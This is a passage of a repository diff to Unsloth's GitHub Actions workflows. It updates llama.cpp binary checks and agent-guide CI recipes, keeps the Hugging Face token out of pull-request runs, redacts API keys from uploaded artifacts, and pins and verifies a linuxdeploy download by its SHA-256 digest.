# install_llama_cpp returns (quantizer_path, converter_script_path).
# The quantizer's directory is the `llama.cpp` install root, which
# also holds llama-cli after build/bin/llama-* gets copied up
# (llama_cpp.py:867-871).
# also holds the CLI inference binaries after build/bin/llama-* gets
# copied up (llama_cpp.py:1450-1454; on Windows they stay in
# build/bin/Release/).
quantizer, converter = install_llama_cpp(print_output=True)
assert quantizer and os.path.exists(quantizer), (
f"install_llama_cpp returned quantizer={quantizer!r} but file missing"
@ -2262,25 +2285,54 @@ jobs:
f"install_llama_cpp returned converter={converter!r} but missing"
)
install_root = os.path.dirname(quantizer)
cli = os.path.join(install_root, "llama-cli")
assert os.path.exists(cli), (
f"llama-cli not found at {cli!r} after build. Build root contents: "
f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}"
)
assert os.access(cli, os.X_OK), f"{cli!r} not executable"
# `llama-cli --help` exits non-zero on some builds; the contract
# is that recognizable help text appears on stdout/stderr.
is_windows = sys.platform == "win32"
exe = ".exe" if is_windows else ""
# Search both the copied-up root and the Windows build/bin/Release/
# location the quantizer might already live in.
search_dirs = [install_root]
win_release = os.path.join(install_root, "build", "bin", "Release")
if win_release not in search_dirs:
search_dirs.append(win_release)
# Any of these proves a working llama.cpp CLI inference binary was
# built. Order = preference: llama-cli is canonical (restored first
# if upstream brings it back), then the multimodal CLI, then the
# server (always built whenever cli would be, behind LLAMA_BUILD_SERVER).
cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"]
cli = None
cli_name = None
for name in cli_names:
for d in search_dirs:
candidate = os.path.join(d, name)
if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)):
cli, cli_name = candidate, name
break
if cli is not None:
break
if cli is None:
found = []
for d in search_dirs:
if os.path.isdir(d):
found += [p for p in os.listdir(d) if p.startswith("llama-")]
raise AssertionError(
f"No CLI inference binary ({', '.join(cli_names)}) found after "
f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}"
)
print(f"Using CLI inference binary: {cli_name} -> {cli}")
# `--help` exits non-zero on some builds; the contract is that
# recognizable help text appears on stdout/stderr. llama-server
# exposes a different flag set than llama-cli, so accept its
# tokens too (e.g. --host / --port / "server").
proc = subprocess.run(
[cli, "--help"], capture_output=True, text=True, timeout=30,
)
combined = (proc.stdout or "") + (proc.stderr or "")
print("--- llama-cli --help (first 30 lines) ---")
print(f"--- {cli_name} --help (first 30 lines) ---")
print("\n".join(combined.splitlines()[:30]))
assert any(
tok in combined.lower()
for tok in ("usage", "--help", "--model", "-m,")
for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server")
), (
f"llama-cli --help produced no recognizable help text. "
f"{cli_name} --help produced no recognizable help text. "
f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n"
f"stderr: {proc.stderr[:400]!r}"
)
@ -2296,7 +2348,7 @@ jobs:
f"stderr: {q.stderr[:400]!r}"
)
print(
f"\nOK: install_llama_cpp produced a working llama-cli at {cli} "
f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} "
f"and llama-quantize at {quantizer}."
)
PY

74
.github/workflows/local-agent-guides-ci.yml vendored
View file

@ -6,29 +6,27 @@
# Detects when our local-agent setup recipes drift out of sync with
# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
# drives the coding agents end to end through the *exact* recipes defined
# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
# via `unsloth connect <agent> --no-launch` and execute what it prints, so
# the test self-updates against connect.py and catches silent recipe drift.
# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever start.py has a recipe we drive the agent
# via `unsloth start <agent> --no-launch` and execute what it prints, so
# the test self-updates against start.py and catches silent recipe drift.
#
# Source-of-truth files this workflow guards:
# unsloth_cli/commands/connect.py the `unsloth connect <agent>` recipes
# unsloth_cli/commands/start.py the `unsloth start <agent>` recipes
# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line)
#
# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
# + the connect.py location, so a red X is immediately triageable):
# + the start.py location, so a red X is immediately triageable):
# (a) Unsloth server/API regression -- the dialect HTTP preflight fails
# BEFORE the agent runs (or the server never becomes healthy).
# (b) Agent package install failed -- npm/curl install of the CLI failed.
# (c) Guide drift -- preflight passed + install ok, but
# the documented `unsloth connect` flow produced no/garbled output.
# the documented `unsloth start` flow produced no/garbled output.
#
# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
# - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
# driven by a hand-written recipe and the matrix cell asserts that the
# missing connect recipe is the (known) reason, so the day connect.py
# grows a `pi` command this cell flips to the self-updating path.
# - All six have a `unsloth start <agent>` recipe, so each cell obtains its
# env + command from `unsloth start <agent> --no-launch` and runs THAT
# (self-updating: a recipe change is exercised automatically).
name: Local Agent Guides CI
@ -64,6 +62,12 @@ concurrency:
permissions:
contents: read
# Secret handling on pull_request: these jobs check out and run PR-controlled code
# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated
# off pull_request at each step below -- public GGUF repos still download anonymously.
# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and
# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s).
env:
# Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
UNSLOTH_SEED: '3407'
@ -77,7 +81,7 @@ jobs:
# ═════════════════════════════════════════════════════════════════════
# Job 1: connection
# Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
# install the agent, run `unsloth connect <agent> --no-launch`, execute
# install the agent, run `unsloth start <agent> --no-launch`, execute
# the emitted recipe with a trivial prompt, assert a non-empty reply.
# Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
# it serves exactly one model on its own port.
@ -97,7 +101,9 @@ jobs:
env:
# gemma-4-E4B (128K context, capable enough to drive every agent for a
# trivial reply; the 270m model produced empty/failed responses for
# codex/openclaw and is below hermes' 64K context floor). Served as a flat
# codex/openclaw). Hermes' 64K context floor no longer constrains the model
# choice: write_hermes_config claims the floor for smaller windows and
# scales compaction back to the real window. Served as a flat
# GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@ -134,7 +140,8 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -150,7 +157,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -201,7 +209,7 @@ jobs:
;;
*)
# OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
# OpenClaw's connect.py recipe writes an "openai-completions"
# OpenClaw's start.py recipe writes an "openai-completions"
# provider (write_openclaw_config), so it uses this path, not
# /v1/messages.
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@ -219,13 +227,13 @@ jobs:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
# ── (c) drive the agent via connect.py and assert a reply ──────────
# For the 5 agents with a connect.py recipe we run
# `unsloth connect <agent> --no-launch`, eval its env/unset exports,
# ── (c) drive the agent via start.py and assert a reply ──────────
# For the 5 agents with a start.py recipe we run
# `unsloth start <agent> --no-launch`, eval its env/unset exports,
# then run the printed command with a hard timeout (no headless-TTY
# hang). Pi has no connect recipe, so it is driven by hand and the
# cell asserts that absence is the (known) reason.
- name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
- name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
env:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@ -240,8 +248,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -335,7 +345,8 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -351,7 +362,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -428,8 +440,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -508,7 +522,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -524,7 +539,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -570,8 +586,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi

4
.github/workflows/lockfile-audit.yml vendored
View file

@ -60,11 +60,11 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
with:
persist-credentials: false
- uses: actions/setup-python@v5
- uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
with:
python-version: '3.12'

220
.github/workflows/mlx-ci.yml vendored
View file

@ -163,7 +163,7 @@ jobs:
'pytest==9.0.3' \
'pytest-asyncio==1.3.0' \
'httpx==0.28.1'
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch==2.10.0'
# github.com occasionally 500s on the git fetch; retry the
# zoo install so a single upstream blip does not fail CI.
@ -231,41 +231,126 @@ jobs:
tests/studio/test_is_mlx_dispatch_gate.py \
tests/studio/test_mlx_training_worker_behaviors.py
# Studio prebuilt llama.cpp install + GGUF inference. Mirrors the
# path Studio's setup.sh takes on macOS since #5963: plan against
# the unslothai/llama.cpp fork's latest release, which ships the
# bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the
# default policy reads. After install, downloads a small published
# GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates
# llama-server /completion end to end. An install failure or a
# non-zero binary exit is an Unsloth/Studio bug.
- name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
# Real MLX training + inference smoke test. Trains
# unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
# (batch_size=2, gradient_accumulation_steps=3) on a single
# repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
# the trained model in 3 export formats. The `train` subcommand
# captures per-phase timing + peak GPU + peak RSS into
# train_metrics.json so we can detect regressions across CI runs.
- name: MLX export round-trip — TRAIN + SAVE 3 formats
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
mkdir -p mlx_workdir
# Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
# read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
python tests/studio/run_real_mlx_smoke.py train \
--workdir "$PWD/mlx_workdir"
# Each reload step runs in a FRESH Python process to confirm
# the cold-start path users would hit in production also works
# (not just the in-memory continuation of a still-running
# trainer). FastMLXModel.from_pretrained gets called from
# scratch; mx.random is re-seeded; per-step timing + peak
# memory are emitted to {format}_reload_metrics.json next to
# the saved dir.
- name: MLX export round-trip — RELOAD LoRA (fresh process)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
python tests/studio/run_real_mlx_smoke.py reload \
--format lora \
--dir "$PWD/mlx_workdir/lora"
- name: MLX export round-trip — RELOAD merged_16bit (fresh process)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
python tests/studio/run_real_mlx_smoke.py reload \
--format merged \
--dir "$PWD/mlx_workdir/merged_16bit"
# GGUF reload uses the llama-cli binary that save_pretrained_gguf
# built. If save_pretrained_gguf was skipped during train (e.g.
# llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
# vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
# bug), this step emits a workflow warning and exits 0 so the
# LoRA + merged_16bit assertions remain the gating signal.
- name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
python tests/studio/run_real_mlx_smoke.py reload \
--format gguf \
--dir "$PWD/mlx_workdir/gguf"
else
REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
echo "::warning title=GGUF round-trip skipped::${REASON}"
echo "GGUF export was skipped during the train phase. Reason:"
echo " ${REASON}"
echo "Continuing without failing the job; the LoRA + merged_16bit"
echo "reload assertions are still gating this PR."
fi
# Print all metrics JSON files so regressions are visible in the
# job log. always() so we get telemetry even if a reload step
# asserted gibberish.
- name: MLX export round-trip — aggregate metrics
if: always()
run: |
for f in mlx_workdir/train_metrics.json \
mlx_workdir/lora_reload_metrics.json \
mlx_workdir/merged_reload_metrics.json \
mlx_workdir/gguf_reload_metrics.json; do
echo "=== $f ==="
cat "$f" 2>/dev/null || echo "(missing)"
echo
done
# Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
# unslothai/llama.cpp fork's latest release, download a small public GGUF, and
# check llama-server /completion end to end. Split and placed last so the
# untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
# leaving no token-bearing step or shared workspace for a tampered prebuilt to
# corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
- name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# install_llama_prebuilt.py hits the GitHub releases API to
# resolve the asset URL. Anonymous calls share the runner-IP
# rate-limit bucket and 403 quickly -- pass the workflow's
# automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated
# bucket.
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -euo pipefail
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
rm -rf "$INSTALL_DIR"
# Mirror studio/setup.sh on macOS (the install.sh user path):
# it plans against the unslothai/llama.cpp fork's latest
# release with no policy or tag flags.
# Download only -- no llama-quantize / llama-server launch in this step.
python studio/install_llama_prebuilt.py \
--install-dir "$INSTALL_DIR" \
--published-repo unslothai/llama.cpp
mkdir -p /tmp/ggufs
bash .github/scripts/hf-download-with-retry.sh \
'unsloth/gemma-3-270m-it-GGUF' \
'gemma-3-270m-it-Q4_K_M.gguf' \
/tmp/ggufs
# Studio bundles only llama-server + llama-quantize from the
# prebuilt (not llama-cli) -- inference goes through
# llama-server's HTTP /completion endpoint. Validate both:
# llama-quantize --help proves the dynamic libs link, then
# spin up llama-server and POST a /completion request on a
# tiny published GGUF.
# Final step: runs the downloaded binaries with no secrets present, and clears
# the GitHub Actions command files so a tampered prebuilt cannot influence the job.
- name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
run: |
set -euo pipefail
unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
# Studio bundles only llama-server + llama-quantize (not llama-cli);
# inference goes through llama-server's HTTP /completion endpoint.
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
[ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
@ -274,12 +359,6 @@ jobs:
echo "llama-quantize: $LLAMA_QUANT"
"$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK"
mkdir -p /tmp/ggufs
bash .github/scripts/hf-download-with-retry.sh \
'unsloth/gemma-3-270m-it-GGUF' \
'gemma-3-270m-it-Q4_K_M.gguf' \
/tmp/ggufs
PORT=18080
echo "=== starting llama-server on 127.0.0.1:$PORT ==="
"$LLAMA_SERVER" \
@ -322,82 +401,3 @@ jobs:
exit 1
fi
echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
# Real MLX training + inference smoke test. Trains
# unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
# (batch_size=2, gradient_accumulation_steps=3) on a single
# repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
# the trained model in 3 export formats. The `train` subcommand
# captures per-phase timing + peak GPU + peak RSS into
# train_metrics.json so we can detect regressions across CI runs.
- name: MLX export round-trip — TRAIN + SAVE 3 formats
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
mkdir -p mlx_workdir
python tests/studio/run_real_mlx_smoke.py train \
--workdir "$PWD/mlx_workdir"
# Each reload step runs in a FRESH Python process to confirm
# the cold-start path users would hit in production also works
# (not just the in-memory continuation of a still-running
# trainer). FastMLXModel.from_pretrained gets called from
# scratch; mx.random is re-seeded; per-step timing + peak
# memory are emitted to {format}_reload_metrics.json next to
# the saved dir.
- name: MLX export round-trip — RELOAD LoRA (fresh process)
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
python tests/studio/run_real_mlx_smoke.py reload \
--format lora \
--dir "$PWD/mlx_workdir/lora"
- name: MLX export round-trip — RELOAD merged_16bit (fresh process)
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
UNSLOTH_COMPILE_DISABLE: '1'
run: |
python tests/studio/run_real_mlx_smoke.py reload \
--format merged \
--dir "$PWD/mlx_workdir/merged_16bit"
# GGUF reload uses the llama-cli binary that save_pretrained_gguf
# built. If save_pretrained_gguf was skipped during train (e.g.
# llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
# vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
# bug), this step emits a workflow warning and exits 0 so the
# LoRA + merged_16bit assertions remain the gating signal.
- name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
run: |
if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
python tests/studio/run_real_mlx_smoke.py reload \
--format gguf \
--dir "$PWD/mlx_workdir/gguf"
else
REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
echo "::warning title=GGUF round-trip skipped::${REASON}"
echo "GGUF export was skipped during the train phase. Reason:"
echo " ${REASON}"
echo "Continuing without failing the job; the LoRA + merged_16bit"
echo "reload assertions are still gating this PR."
fi
# Print all metrics JSON files so regressions are visible in the
# job log. always() so we get telemetry even if a reload step
# asserted gibberish.
- name: MLX export round-trip — aggregate metrics
if: always()
run: |
for f in mlx_workdir/train_metrics.json \
mlx_workdir/lora_reload_metrics.json \
mlx_workdir/merged_reload_metrics.json \
mlx_workdir/gguf_reload_metrics.json; do
echo "=== $f ==="
cat "$f" 2>/dev/null || echo "(missing)"
echo
done

2
.github/workflows/notebooks-ci.yml vendored
View file

@ -263,7 +263,7 @@ jobs:
# unsloth_zoo.vision_utils imports PIL at module top, and the
# easiest way to get a torch-compatible PIL on a CPU runner is
# to let torchvision pull the right Pillow version.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.8,<2.11' 'torchvision<0.26'
# Pin to the same versions update_all_notebooks.py installs in
# generated notebooks. Keep these in lockstep with PIN_TRL /

101
.github/workflows/release-desktop.yml vendored
View file

@ -353,7 +353,7 @@ jobs:
if: matrix.platform == 'ubuntu-22.04'
run: |
sudo apt-get update
sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
# ── Node.js ──
- name: Setup Node.js
@ -406,9 +406,65 @@ jobs:
if (config.bundle?.linux?.rpm) {
throw new Error('bundle.linux.rpm must not be configured');
}
if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) {
throw new Error('Linux AppImage bundleMediaFramework must stay false');
}
const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8');
const lines = workflow.split(/\r?\n/);
const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install'));
const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-');
if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) {
throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package');
}
if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) {
throw new Error('Desktop Linux release must install libappindicator3-dev');
}
const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download'));
if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) {
throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2');
}
// A pinned version/path is reproducibility, not integrity: the asset
// can be replaced after upload. Require the immutable SHA-256 digest
// to be pinned AND verified before chmod +x. Scope every check to the
// real "Pin linuxdeploy for AppImage" step so this guard cannot
// satisfy itself; a file-wide scan would match the guard's own code.
const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a';
const isComment = (line) => {
const trimmed = line.trim();
return trimmed.startsWith('#') || trimmed.startsWith('//');
};
const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line));
if (stepStart === -1) {
throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step');
}
const stepIndent = lines[stepStart].search(/\S/);
let stepEnd = lines.length;
for (let i = stepStart + 1; i < lines.length; i += 1) {
const line = lines[i];
if (line.trim() === '') continue;
const indent = line.search(/\S/);
// The next sibling step ('- ...') at the same indent, or any dedent
// below the step, ends this step's block.
if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) {
stepEnd = i;
break;
}
}
const stepLines = lines.slice(stepStart, stepEnd);
const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/;
const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line));
if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) {
throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env');
}
const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c'));
if (sha256Idx === -1) {
throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use');
}
const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line));
if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
}
const releaseBodies = [];
for (let i = 0; i < lines.length; i += 1) {
const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
@ -438,6 +494,12 @@ jobs:
if (/\brpm\b|\.rpm/i.test(body)) {
throw new Error('Desktop release body must not advertise RPM packages');
}
if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
throw new Error('Desktop release body must not advertise AppImage as universal');
}
if (!/AppImage.*experimental/i.test(body)) {
throw new Error('Desktop release body must mark AppImage as experimental');
}
}
JS
@ -562,6 +624,33 @@ jobs:
Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH"
trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run"
# ── Linux: pin AppImage packaging toolchain ──
- name: Pin linuxdeploy for AppImage
if: matrix.platform == 'ubuntu-22.04'
shell: bash
env:
# Pinning the versioned release path is reproducibility, not
# integrity: a GitHub release asset can be replaced (or its delivery
# path compromised) after upload. The SHA-256 below is the immutable
# digest of this exact asset and is the integrity gate. If linuxdeploy
# publishes a new build under this tag, this run fails closed and the
# digest must be re-pinned deliberately.
LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage"
LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a"
run: |
set -euo pipefail
tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri"
mkdir -p "$tools_dir"
dest="$tools_dir/linuxdeploy-x86_64.AppImage"
curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
# Verify the digest BEFORE the binary is ever marked executable. The
# next step builds the AppImage with the Tauri signing key and a
# contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
# that ran here could exfiltrate signing material or tamper with
# published release artifacts. Fail closed on any mismatch.
echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c -
chmod +x "$dest"
# ── Linux: build + sign + upload ──
- name: Build Linux app
if: matrix.platform == 'ubuntu-22.04'
@ -570,6 +659,7 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
with:
projectPath: studio
tauriScript: npx --prefix . tauri
@ -580,9 +670,10 @@ jobs:
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
